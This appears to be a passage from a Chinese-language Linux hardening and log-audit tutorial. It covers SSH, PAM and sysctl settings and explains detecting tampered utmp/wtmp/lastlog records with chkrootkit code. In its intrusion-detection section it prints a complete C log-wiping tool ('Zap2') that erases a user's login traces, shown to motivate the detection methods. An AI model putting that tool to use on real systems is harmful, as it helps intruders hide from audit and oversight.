      1) #vi /etc/pam.d/su
      在頭部添加:
      auth required /lib/security/pam_wheel.so group=wheel
      這樣,隻有wheel組的使用者可以su到root
      #usermod -G10 test 
    将test使用者加入到wheel組
   
5. 檢查shadow中空密碼帳号
檢查方法:
      1) #awk -F: '( == "") { print }' /etc/shadow
備份方法:
    1) cp -p /etc/shadow /etc/shadow_bak
加強方法:
    1) 對空密碼賬号進行鎖定,或要求增加密碼      

0x2: 最小化服務

1. 停止或禁用與承載業務無關的服務
檢查方法:
      1) runlevel 
    檢視目前init級别
      2) chkconfig --list 
    檢視所有服務的狀态
備份方法:記錄需要關閉服務的名稱
加強方法:
      1) #chkconfig --level <服務名> on|off|reset 
    設定服務在個init級别下開機是否啟動      

0x3: 資料通路控制

1. 設定合理的初始檔案權限
檢查方法:
      1) cat /etc/profile 
    檢視umask的值
備份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加強方法:
      1) #vi /etc/profile
      umask=027 
會修改建立檔案的預設權限,如果該伺服器是WEB應用,則此項謹慎修改      

0x4: 網絡通路控制

1. 使用SSH進行管理
檢查方法:
      1) ps –aef | grep sshd 
    檢視有無此服務
備份方法:
加強方法:
      1) 使用指令開啟ssh服務
      #service sshd start 

2. 設定通路控制政策限制能夠管理本機的IP位址
檢查方法:
      1) #cat /etc/ssh/sshd_config 
    檢視有無AllowUsers的語句
備份方法:
      1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak
加強方法:
      1) #vi /etc/ssh/sshd_config
    添加以下語句
      AllowUsers *@10.138.*.* 此句意為: 僅允許10.138.0.0/16網段所有使用者通過ssh通路
      儲存後重新開機ssh服務
      2) #service sshd restart
值得注意的是,需要和管理者确認能夠管理的IP段

3. 禁止root使用者遠端登陸
檢查方法:
      1) #cat /etc/ssh/sshd_config 
    檢視PermitRootLogin是否為no
備份方法:
      1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak
加強方法:
      1) #vi /etc/ssh/sshd_config
      PermitRootLogin no
      儲存後重新開機ssh服務
      2) service sshd restart
"禁止root使用者遠端登陸"帶來的直接後果就是root使用者無法直接遠端登入,需要用普通賬号登陸後su

4. 限定信任主機
檢查方法:
      1) #cat /etc/hosts.allow
    檢視其中的主機
      2) #cat /$HOME/.rhosts 
    檢視其中的主機
備份方法:
      1) #cp -p /etc/hosts.allow /etc/hosts.allow_bak
      #cp -p /$HOME/.rhosts /$HOME/.rhosts_bak
加強方法:
      1) #vi /etc/hosts.allow 
    删除其中不必要的主機
      2) #vi /$HOME/.rhosts 
    删除其中不必要的主機 
http://www-uxsup.csx.cam.ac.uk/doc/remote_access/rhosts.html

5. 屏蔽登入banner資訊
檢查方法:
      1) #cat /etc/ssh/sshd_config 
    檢視檔案中是否存在Banner字段,或banner字段為NONE
      2) #cat /etc/motd 
    檢視檔案内容,該處内容将作為banner資訊顯示給登入使用者。
備份方法:
      1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak
      2) #cp -p /etc/motd /etc/motd_bak
加強方法:
      1) #vi /etc/ssh/sshd_config
      banner NONE
      2) #vi /etc/motd
      删除全部内容或更新成自己想要添加的内容 

6. 防止誤使用Ctrl+Alt+Del重新開機系統
檢查方法:
      1) #cat /etc/inittab | grep ctrlaltdel 檢視輸入行是否被注釋
備份方法:
      1) #cp -p /etc/inittab /etc/inittab_bak
加強方法:
      1) #vi /etc/inittab
      在行開頭添加注釋符号"#"
      2) #ca::ctrlaltdel:/sbin/shutdown -t3 -r now      

0x5: 使用者鑒别

1. 設定帳戶鎖定登入失敗鎖定次數、鎖定時間
檢查方法:
      1) #cat /etc/pam.d/system-auth 
    檢視有無auth required pam_tally.so條目的設定
備份方法:
      1) #cp -p /etc/pam.d/system-auth /etc/pam.d/system-auth_bak
加強方法:
      1) #vi /etc/pam.d/system-auth
      auth required pam_tally.so onerr=fail deny=6 unlock_time=300 
    設定為密碼連續錯誤6次鎖定,鎖定時間300秒
      2) 解鎖使用者 faillog -u <使用者名> -r
當系統驗證出現問題時,首先應當檢查/var/log/messages或者/var/log/secure中的輸出資訊,根據這些資訊判斷使用者賬号的有效性

2. 修改帳戶TMOUT值,設定自動登出時間
檢查方法:
      1) #cat /etc/profile 
    檢視有無TMOUT的設定
備份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加強方法:
      1) #vi /etc/profile
      增加
      TMOUT=600 
    無操作600秒後自動退出 

3. Grub/Lilo密碼
檢查方法:
      1) #cat /etc/grub.conf|grep password 
    檢視grub是否設定密碼
      2) #cat /etc/lilo.conf|grep password 
    檢視lilo是否設定密碼
備份方法:
      1) #cp -p /etc/grub.conf /etc/grub.conf_bak
      2) #cp -p /etc/lilo.conf /etc/lilo.conf_bak
加強方法:為grub或lilo設定密碼
   
4. 限制FTP登入
檢查方法:
      1) #cat /etc/ftpusers 
    确認是否包含使用者名,這些使用者名不允許登入FTP服務(隻有你安裝了ftp服務才會有這個檔案)
備份方法:
      1) #cp -p /etc/ftpusers /etc/ftpusers_bak
加強方法:
      1) #vi /etc/ftpusers 
    添加行,每行包含一個使用者名,添加的使用者将被禁止登入FTP服務

5. 設定Bash保留曆史指令的條數
檢查方法:
      1) #cat /etc/profile|grep HISTSIZE=
      2) #cat /etc/profile|grep HISTFILESIZE= 
    檢視保留曆史指令的條數
備份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加強方法:
      1) #vi /etc/profile
      修改HISTSIZE=5和HISTFILESIZE=5即保留最新執行的5條指令      

0x6: 審計政策

1. 配置系統日志政策配置檔案
檢查方法:
      1) #ps –aef | grep syslog 
    确認syslog是否啟用
      2) #cat /etc/syslog.conf 
    檢視syslogd的配置,并确認日志檔案是否存在
          2.1) 系統日志(預設)/var/log/messages
          2.2) cron日志(預設)/var/log/cron
          2.3) 安全日志(預設)/var/log/secure
備份方法:
      1) #cp -p /etc/syslog.conf
  
2. 為審計産生的資料配置設定合理的存儲空間和存儲時間
檢查方法:
      1) #cat /etc/logrotate.conf 
    檢視系統輪詢配置,有無      

5. 基礎實體安全

0x1: BIOS

我們應該總是在系統啟動的時候設定一個BIOS密碼和禁用從CD-ROM和軟碟引導。這将防止一些人未經允許通路你的系統和更改BIOS設定

6. 系統編譯環境安全

0x1: 禁用代碼編譯

我們可以禁用代碼編譯并且隻把編譯的權限配置設定給一個使用者組

方法:

//1. 添加編譯使用者組
/usr/sbin/groupadd compiler
//2. 把常見的編譯器所屬組賦給編譯使用者組
cd /usr/bin
chgrp compiler *cc*
chgrp compiler *++*
chgrp compiler ld
chgrp compiler as      

0x2: .history安全

這是一個避免删除.bash_history或重定向到/dev/null的好方法,目的是禁止清除或删除他最後執行的指令,黑客常常通過删除.history來隐藏自己的攻擊痕迹,影響驗證

chattr +a .bash_history
chattr +i .bash_history        

0x3: chmod危險檔案

chmod 700 /bin/ping
chmod 700 /usr/bin/finger
chmod 700 /usr/bin/who
chmod 700 /usr/bin/w
chmod 700 /usr/bin/locate
chmod 700 /usr/bin/whereis
chmod 700 /sbin/ifconfig
chmod 700 /usr/bin/pico
chmod 700 /usr/bin/vi
chmod 700 /usr/bin/which
chmod 700 /usr/bin/gcc
chmod 700 /usr/bin/make
chmod 700 /bin/rpm      

0x4: 指定允許root登陸的TTY裝置

/etc/securetty檔案允許你指定root可以從哪個TTY裝置登入

vi /etc/securetty
//一個好的建議是,隻留2個可信的連接配接
tty1
tty2      
http://yonghui702.blog.163.com/blog/static/817183420110131102257/      

7. 系統病毒、後門、rootkit安全

0x1: 檢測Rootkit

關于rootkit的基本原理和防禦政策請參閱另外幾篇文章

http://www.cnblogs.com/LittleHann/p/3870974.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3879961.html      

8. 系統端口、服務安全

0x1: 關閉不用的服務

我們應該把任何未使用的服務關閉,可以在/etc/xinetd.d檔案夾裡找到

cd /etc/xinetd.d
grep disable *
//這将顯示所有服務開啟或關閉的狀态,然後根據需要來開啟或關閉服務      

0x2: 檢測監聽的端口

檢測是否有必要開放端口是非常重要的

netstat -tulp
lsof -i -n | egrep ‘COMMAND|LISTEN|UDP’
nmap!
//這3種方法都可以      

9. 系統核心安全

0x1: 核心加強

sysctl.conf用來加強核心,目的是避免DOS和欺騙攻擊

//1. 了解下目前配置的大概情況
sysctl -a
//2. 添加如下内容
vi /etc/sysctl.conf
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
# Controls source route verification
net.ipv4.conf.default.rp_filter = 1
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
# Disables packet forwarding
net.ipv4.ip_forward=0
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
# Enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.lo.log_martians = 1
net.ipv4.conf.eth0.log_martians = 1
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
14
net.ipv4.conf.default.rp_filter = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
# Disables the magic-sysrq key
kernel.sysrq = 0
# Modify system limits for Ensim WEBppliance
fs.file-max = 65000
# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 15
# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1800
# Turn off the tcp_window_scaling
net.ipv4.tcp_window_scaling = 0
# Turn off the tcp_sack
net.ipv4.tcp_sack = 0
# Turn off the tcp_timestamps
net.ipv4.tcp_timestamps = 0
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
# Set maximum amount of memory allocated to shm to 256MB
kernel.shmmax = 268435456
# Improve file system performance
vm.bdflush = 100 1200 128 512 15 5000 500 1884 2
# Improve virtual memory performance
vm.buffermem = 90 10 60
# Increases the size of the socket queue (effectively, q0).
net.ipv4.tcp_max_syn_backlog = 1024
# Increase the maximum total TCP buffer-space allocatable
net.ipv4.tcp_mem = 57344 57344 65536
# Increase the maximum TCP write-buffer-space allocatable
net.ipv4.tcp_wmem = 32768 65536 524288
15
# Increase the maximum TCP read-buffer space allocatable
net.ipv4.tcp_rmem = 98304 196608 1572864
# Increase the maximum and default receive socket buffer size
net.core.rmem_max = 524280
net.core.rmem_default = 524280
# Increase the maximum and default send socket buffer size
net.core.wmem_max = 524280
net.core.wmem_default = 524280
# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 1440000
# Allowed local port range
net.ipv4.ip_local_port_range = 16384 65536
# Increase the maximum memory used to reassemble IP fragments
net.ipv4.ipfrag_high_thresh = 512000
net.ipv4.ipfrag_low_thresh = 446464
# Increase the maximum amount of option memory buffers
net.core.optmem_max = 57344
# Increase the maximum number of skb-heads to be cached
net.core.hot_list_length = 1024
## DO NOT REMOVE THE FOLLOWING LINE!
## nsobuild:20051206 
//3. 重新開機後生效
sbin/sysctl -p
sysctl -w net.ipv4.route.flush=1      

10. 基于系統日志審計的入侵檢測

入侵檢測是一個大的課題,本小結試圖從系統日志審計的角度來學習如何發現可疑的入侵現象。同時,我們知道,安全問題是一個攻防的持續對抗過程,我們在制定防禦方案的時候需要先了解黑客可能采用的攻擊向量,隻有攻受一體,才可以真正做到有效防禦

在Linux系統中,有三個主要的日志子系統:

1. /var/log/Wtmp
連接配接時間日志——由多個程式執行,把紀錄寫入到和,Login等程式更新Wtmp和Utmp檔案,使系統管理者能夠跟蹤誰在何時登入到系統 

2. /var/run/Utmp
struct utmp 
{ 
  char ut_line[8]; /* tty line: "ttyh0", "ttyd0", "ttyp0", ... */ 
  char ut_name[8]; /* login name */ 
  long ut_time; /* seconds since Epoch */ 
}; 
    1) 登入時
    login程式填寫這樣一個結構,然後将其寫入到utmp檔案中,同時也将其添寫到wtmp檔案中
    
    2) 登出時
    init程序将utmp檔案中相應的記錄擦除(每個位元組都填以0),并将一個新記錄添寫到wtmp檔案中。讀wtmp檔案中的該登出記錄,其ut_name字段清除為0。在系統再啟動時,以及更改系統時間和日期的前後,都在wtmp檔案中添寫特
殊的記錄項。who程式讀utmp檔案,并以可讀格式列印其内容。後來的UNIX版本提供last指令,它讀wtmp檔案并列印所選擇的記錄。wtmp檔案,它跟蹤各個登入和登出事件

3. /var/log/messages: 錯誤日志
由Syslogd執行。各種系統守護程序、使用者程式和核心通過Syslog向檔案報告值得注意的事件。另外有許多UNIX程式建立日志。像HTTP和FTP這樣提供網絡服務的伺服器也保持詳細的日志      

0x1: UTMP日志審計

1. 黑客的攻擊向量

從utmp、wtmp的運作機制我們可以看出,安全研究員可以通過檢視utmp檔案來檢視目前系統中是否有可疑的賬戶登入

而反過來思考,黑客也可以同樣利用這點來進行bypass,從某種角度上來說,攻與防從本質上是一樣的,黑客和安全研究員往往面對的是同樣的作業系統底層技術,關鍵問題有兩個

1. 我們采取什麼樣的技術去發現"迹象"
2. 有沒有更"底層"的方法      

黑客可以通過檫除utmp的中的指定記錄來達到隐藏自己的登入痕迹

log_deletion.c

#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <lastlog.h>
#include <pwd.h>
#define WTMP_NAME "/var/log/wtmp" 
#define UTMP_NAME "/var/run/utmp" 
#define LASTLOG_NAME "/var/log/lastlog" 

int f; 
//delete all the record which name is 'who' in utmp
void kill_utmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 

    if ((f=open(UTMP_NAME,O_RDWR))>=0) 
    { 
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
            if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
            { 
                bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
                lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
                write (f, &utmp_ent, sizeof (utmp_ent)); 
            } 
        close(f); 
    } 
} 

//delete the latest record which name is 'who' in wtmp
void kill_wtmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 
    long pos; 
    pos = 1L; 
    if ((f=open(WTMP_NAME,O_RDWR))>=0) 
    { 

        while(pos != -1L) 
            { 
                lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
                if (read (f, &utmp_ent, sizeof (struct utmp))<0) 
                { 
                        pos = -1L; 
                } else 
                { 
                    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
                    { 
                        bzero((char *)&utmp_ent,sizeof(struct utmp )); 
                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
                        write (f, &utmp_ent, sizeof (utmp_ent)); 
                        pos = -1L; 
                    } else pos += 1L; 
                } 
            } 
    close(f); 
    } 
} 

//update the record set time is never login which name is 'who'  in lastlog
void kill_lastlog(who) 
char *who; 
{ 
    struct passwd *pwd; 
    struct lastlog newll; 

    if ((pwd=getpwnam(who))!=NULL) 
    { 

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) 
        { 
            lseek(f, ((long)(pwd->pw_uid)) * (sizeof (struct lastlog)), 0); 
            bzero((char *)&newll,sizeof( newll )); 
            write(f, (char *)&newll, sizeof( newll )); 
            close(f); 
        } 

    } else printf("%s: ?\n",who); 
} 


main(argc,argv) 
int argc; 
char *argv[]; 
{ 

    if (argc==2) 
    {
        printf("user:%s\n",argv[1]); 
        kill_lastlog(argv[1]); 
        kill_wtmp(argv[1]); 
        kill_utmp(argv[1]); 
        printf("Zap2!\n"); 
    } else
    {
        printf("Error.\n"); 
    }
}       

從代碼中可以看到,黑客通過檫除(删除)utmp中的指定使用者的那一行來達到隐藏自己的目的,進而bypass過lastlog、who等指令的審計流程

2. 針對性的對抗檢測技術

為了對抗這種攻擊技術,安全研究員需要從幾個方面去思考對策

1. utmp檔案是我們審計登入日志的一個很有效的管道,這也意味着它一定會受到黑客的重點關注,被攻擊是在所難免的
2. 我們需要通過其他的管道和utmp進行交叉比較,交叉比較的目的有2個
    1) 直接得到utmp上的等價的日志資訊
    2) 發現utmp被攻擊的迹象      

chkrootkit在這方面提供了一個很好的解決思路

1. 正常的情況下,Linux程序清單中的每一個程序都有一個對應的tty,每個程序都是由某一個終端shell所啟動的
2. 使用者登入Linux系統的Login Shell程序,應該同時也會出現在UTMP中,并且它們的PID應該是比對的      

來一起學習一下源代碼

int main(int argc, char *argv[])
{
    struct ps_line ps_l[MAXBUF];    /* array of data from 'ps' */
    struct utmp_line ut_l[MAXBUF];    /* array of data from utmp log */
    int h, i, y, z, mtch_fnd, hdr_prntd;

    //擷取目前系統中的程序清單相關資訊
    y = fetchps(ps_l);
    //擷取目前系統的UTMP檔案的資訊
    z = fetchutmp(ut_l);
    hdr_prntd = 0;
    for (h = 0; h < y; h++)
    {    
        /* loop through 'ps' data */
        mtch_fnd = 0;
        for (i = 0; i < z; i++) 
        {    
            /* 
            try and match the tty from 'ps' to one in utmp 
            這裡這裡隐含的思想是:
            1. 正常情況下,UTMP中記錄的登入事件的PID一定對應着程序清單中的某個程序,同時要明白,通過周遊程序清單和UTMP的tty同樣也可以找到對應關系
            2. 這個代碼邏輯是為了加速搜尋過程的目的
            */
            if (ut_l[i].ut_type == LOGIN_PROCESS    /* ignore getty processes with matching pid from 'ps' */
                && ut_l[i].ut_pid == ps_l[h].ps_pid)
               {
                mtch_fnd = 1;
                break;
            }
            /* 
            compare the tty's
            這裡這裡隐含的思想是:
            1. 每個程序都有自己的tty
            2. 如果目前系統處于正常狀态,在UTMPM檔案中一定記錄着一個登入事件,對應這個tty
            3. 在程序清單和UTMP的交叉周遊中,一定可以找到這個對應關系
            */
            else if (strncmp(ps_l[h].ps_tty, ut_l[i].ut_tty,    
                     strlen(ps_l[h].ps_tty)) == 0)
            {
                mtch_fnd = 1;
                break;
            }
        } 
        if (!mtch_fnd) 
        {
            if (!hdr_prntd) 
            {
                printf (" The tty of the following user process(es) were not found\n");
                printf(" in %s !\n", UTMP);
                printf("! %-9s %7s %-6s %s\n", "RUID", "PID", "TTY", "CMD");
                hdr_prntd = 1;
            }
            printf("! %-9s %7d %-6s %s", ps_l[h].ps_user, ps_l[h].ps_pid, ps_l[h].ps_tty, ps_l[h].ps_args);
        }
    }
    exit(EXIT_SUCCESS);
}
#endif      

詳細代碼請參閱chkrootkit的chkutmp.c代碼

http://blog.sina.com.cn/s/blog_494e45fe0102dypr.html
http://www.0x50sec.org/site-defense/2010/04/id/728/      

0x2: WTMP日志審計

和UTMP不同的是,WTMP是曆史上登入過的使用者的記錄,黑客同樣會采用日志檔案檫除的方式對WTMP發動攻擊,攻擊代碼見0x1

在WTMP這個case的場景下,由于WTMP記錄的本來就是曆史登入記錄,即WTMP上記錄的資料在目前"運作時 run time"的環境下是很難擷取到的,我們想要通過交叉比較發現被黑客删除掉的資訊是比較困難的,在這種情況下,我們該怎樣思考呢

1. 通過檢查WTMP檔案本身來發現黑客對WTMP檔案的攻擊迹象
2. 黑客對WTMP檔案進行"檫除",隻是把對應的一行資料置空,但是那行資料的位置還在,我們在讀取WTMP的時候得到的就是0字段,這可以作為一個判斷依據
3. 可以通過統計WTMP檔案中被檫除的日志條目的"兩邊"的時間,得到黑客檫除的日志的時間跨度,而這個時間跨度實際上就是黑客在使用某個賬戶進行非法操作的時間跨度,也就是黑客的操作時間      
int main(int argc, char*argv[]) 
{
    int        filehandle;
    struct     utmp    utmp_ent;
    struct     timeval    mytime;
    struct     timezone    dummy;
    long    start_time, act_time;
    int        del_counter, t_del;
    char     wtmpfile[128];

    del_counter=t_del=0;
    start_time=0;

    gettimeofday(&mytime, &dummy);
    act_time=mytime.tv_sec;
    wtmpfile[127]='\0';
    memcpy(wtmpfile, WTMP_FILENAME, 127);
    if ( argc == 3 && !memcmp("-f", argv[1], 2) && *argv[2])
    {
            memcpy(wtmpfile, argv[2], 127);
    } 
    //打開/var/log/wtmp檔案
    if ((filehandle = open(wtmpfile,O_RDONLY)) < 0) 
    {
        fprintf(stderr, "unable to open wtmp-file %s\n", wtmpfile);
        return(2);
    }

    //逐行周遊WTMP檔案的結構體
    while (read (filehandle, (char *) &utmp_ent, sizeof (struct utmp)) > 0) 
    {
        //如果本條的tu_time為0,則說明本條日志記錄遭到了删除
        if (utmp_ent.ut_time == 0)
        {
            del_counter++;
        } 
        else 
        {
            if (del_counter) 
            {
                /*
                顯示WTMP被攻擊的相關資訊
                1. del_counter:    被删除的條目數
                2. start_time:wtmp日志被檫除的起始時間
                3. utmp_ent.ut_time:wtmp日志被檫除的終止時間

                綜合起來就是,wtmp日志被檫除的時間段,從一定程度上反映了黑客的攻擊時間區間
                */
                printit(del_counter, start_time, utmp_ent.ut_time);
                t_del++;
                //每檢測完一段的wtmp檫除記錄區間後,del_counter置零,為下一段空記錄檢測作準備
                del_counter=0;
            }
            //記錄WTMP日志檔案開始被删除的起始時間點
            start_time=utmp_ent.ut_time;
        }
    }
    close(filehandle);
    if (del_counter)
    { 
        printit(del_counter, start_time, act_time);
    } 
    exit((int) t_del+del_counter);
}
#endif      

0x3: LASTLOG日志審計

lastlog檔案記錄最後進入系統的使用者資訊,包括登入的時間、登入是否成功等資訊。這個檔案是一個2進制檔案,需要用lastlog指令進行讀取,lastlog會枚舉出目前系統中的所有使用者(/etc/passwd)的登入情況。黑客為了掩蓋它的登入記錄,通常會對這個檔案進行檫除

針對這類lastlog類型的日志審計,我們可以采取的思路依然是交叉檢測,通過同時比對系統中的幾份日志,如果黑客在檫除日志的時候沒有考慮完備,隻檫除了其中一部分的日志,就會被我們捕獲到它的異常入侵行為。Linux系統中記錄有"曆史登入記錄"的日志有

1. wtmp
2. lastlog      

我們來一起學習一下源代碼

int main(int argc, char*argv[]) 
{
    int        fh_wtmp;
    int        fh_lastlog;
  /*
  struct lastlog 
  {
        int32_t ll_time;                // When user logged in 
        char    ll_line[UT_LINESIZE];   // Terminal line name 
        char    ll_host[UT_HOSTSIZE];   // Host user came from 
  };
  用于檢視那所用賬号的最後登入時間
  */
    struct lastlog    lastlog_ent;

  /*
  struct utmp {
        char    ut_line[UT_LINESIZE];   // Terminal line name  
        char    ut_name[UT_NAMESIZE];   // User’s login name  
        char    ut_host[UT_HOSTSIZE];   // Host user came from 
        int32_t ut_time;                // When user logged in  
  }; 
  /var/log/wtmp 
  記錄目前和曆史上登入到系統的使用者的登入tty、登入使用者名、來源和時間等資訊。和/var/log/lastlog一樣,這個檔案是一個二進制檔案,需要用last指令檢視
  last -f /var/log/wtmp
  */
    struct utmp    utmp_ent;
    long        userid[MAX_ID];
    long        i, slot;
    int        status = 0;
    long        wtmp_bytes_read;
 
    struct stat    wtmp_stat;
    struct s_localpwd    *localpwd;
  struct passwd *user;
    uid_t        *uid;
  char wtmpfile[128], lastlogfile[128];

  memcpy(wtmpfile, WTMP_FILENAME, 127);
  memcpy(lastlogfile, LASTLOG_FILENAME, 127);

  while (--argc && ++argv) /* poor man getopt */
  {
     if (!memcmp("-f", *argv, 2))
     {
        if (!--argc)
        {
          break;
        } 
        ++argv;
        memcpy(wtmpfile, *argv, 127);
     }
     else if (!memcmp("-l", *argv, 2))
     {
        if (!--argc)
        {
          break;
        } 
        ++argv;
        memcpy(lastlogfile, *argv, 127);
     }
  }

  //信号的安裝(确定要接收和處理的信号),指定read_status()作為信号處理函數
    signal(SIGALRM, read_status);
  //信号的發送,專門為SIGALRM信号而設,在指定的時間seconds秒後,将向程序本身發送SIGALRM信号,又稱為鬧鐘時間
    alarm(5);
    for (i=0; i < MAX_ID; i++)
  {
    userid[i]=FALSE;
  } 
  //打開"/var/log/lastlog"檔案
    if ((fh_lastlog = open(lastlogfile, O_RDONLY)) < 0) 
  {
        fprintf(stderr, "unable to open lastlog-file %s\n", lastlogfile);
        return(1);
    }
  //打開"/var/log/wtmp"檔案
    if ((fh_wtmp = open(wtmpfile, O_RDONLY)) < 0) 
  {
        fprintf(stderr, "unable to open wtmp-file %s\n", wtmpfile);
        close(fh_lastlog);
        return(2);
    }
  //擷取/var/log/wtmp的檔案屬性: struct stat,儲存在wtmp_stat結構體中
    if (fstat(fh_wtmp, &wtmp_stat)) 
  {
        perror("chklastlog::main: ");
        close(fh_lastlog);
        close(fh_wtmp);
        return(3);
    }
    wtmp_file_size = wtmp_stat.st_size;
  //擷取"/etc/passwd"檔案結構化内容
    localpwd = read_pwd();
  /*
  3. 檢查/etc/passwd中是否有白名單之外的"超級使用者(uid)",這是一種異常現象
  */ 
  while((user = getpwent())!=0)
  { 
    //預設白名單隻有root使用者
    if ((user->pw_uid == 0) && (strcmp(user->pw_name, "root") != 0))
    {
      printf("\ndedect Suspicious Account\n");
      printf("\n%s:%d:%d:%s:%s:%s\n",user->pw_name, user->pw_uid, user->pw_gid, user->pw_gecos,user->pw_dir,user->pw_shell);
      /*
      建立一個全局變量: bool find_rootkit;
      如果代碼邏輯走到這裡,則标記為: find_rootkit = true;
      待掃描結束後統一上報

      event_type = suspicious_root_account;
      */
    }
  }
  endpwent();


  /*
  "/var/log/wtmp"是一個記錄使用者登入資訊的清單,每一行都記錄了一次使用者的登入資訊,接下來的代碼對其進行逐行周遊
  */
    while ((wtmp_bytes_read = read(fh_wtmp, &utmp_ent, sizeof (struct utmp))) >0) 
  {
    if (wtmp_bytes_read < sizeof(struct utmp))
    {
      fprintf(stderr, "wtmp entry may be corrupted");
      break;
    }
    total_wtmp_bytes_read += wtmp_bytes_read;
    /*
    對目前周遊中的"struct utmp"進行過濾檢查
    1. 是否是"shutdonw"使用者
    2. 目前登入使用者賬戶命是否在"/etc/passwd"中存在
    */
    if ( !nonuser(utmp_ent) /*&& strncmp(utmp_ent.ut_line, "ftp", 3)*/ && (uid = localgetpwnam(localpwd, utmp_ent.ut_name)) != NULL )
    {
      if (*uid > MAX_ID)
      { 
        fprintf(stderr, "MAX_ID is %ld and current uid is %ld, please check\n\r", MAX_ID, *uid );
        exit (1); 
      }
      if (!userid[*uid])
      {
        lseek(fh_lastlog, (long)*uid * sizeof (struct lastlog), 0);
        if ((wtmp_bytes_read = read(fh_lastlog, &lastlog_ent, sizeof (struct lastlog))) > 0)
        {
          if (wtmp_bytes_read < sizeof(struct lastlog))
          {
            fprintf(stderr, "lastlog entry may be corrupted");
            break;
          }
          if (lastlog_ent.ll_time == 0)
          {
            if (-1 != (slot = getslot(localpwd, *uid)))
            {
              //1. 如果本次登入的使用者在lastlog中的沒有對應的登入記錄(即這是一個突然新增的新使用者登入),則表明是一個可疑使用者登入行為
              printf("user %s deleted or never logged from lastlog!\n", NULL != localpwd->uname[slot] ? (char*)localpwd->uname[slot] : "(null)"); 
            } 
            else
            {
              //2. 檢測本次登入的使用者是否有在/etc/passwd中出現
              printf("deleted user uid(%d) not in passwd\n", *uid); 
            } 
            ++status;
          }
          userid[*uid]=TRUE;
        }
      }
    }
    }
#if 0
    printf("\n");
#endif
    free_results(localpwd);
    close(fh_wtmp);
    close(fh_lastlog);
    return(status);
}      
http://www.oschina.net/news/55227/11-open-source-security-tools-catching-fire-github      

11. 建構日志收集系統過程中面臨的技術挑戰

作為日志收集系統來說,不管是client端,還是server端,典型地都是一種N:1的C/S結果,N:1中的"1"往往成為性能的瓶頸,例如

1. 使用LD_PRELOAD+SO注入的方式進行指令收集,使用消息隊列(message queue)作為so和主程式之間消息傳輸的管道,主程式中的消息接收線程負責從消息隊列中提取消息,主程式中的網絡發送線程負責将消息通過網絡連接配接發送到遠端的中心server。在這種架構下,如果發生了峰值消息(即被監控端發生了死循環指令)并且長時間保持峰值,主程式會發生"記憶體使用飙高"的現象。這種記憶體飙高從本質上來說是"供需關系不平衡",即如果網絡發送的速度小于消息産生的速度,則這個記憶體飙高永遠無法解決      

解決這個問題的思路有

1. 對死循環進行智能檢測,找到死循環指令的特征,發現并過濾這部分垃圾指令
2. 當到達CPU、記憶體的使用上限的時候,啟用一個白名單,對一些常用的指令(例如ls、ll)進行過濾
3. 學習syslog-ng的實作邏輯,syslog-ng在死循環指令的高負載狀态下依然能保持穩定運作、并進行資料包轉發
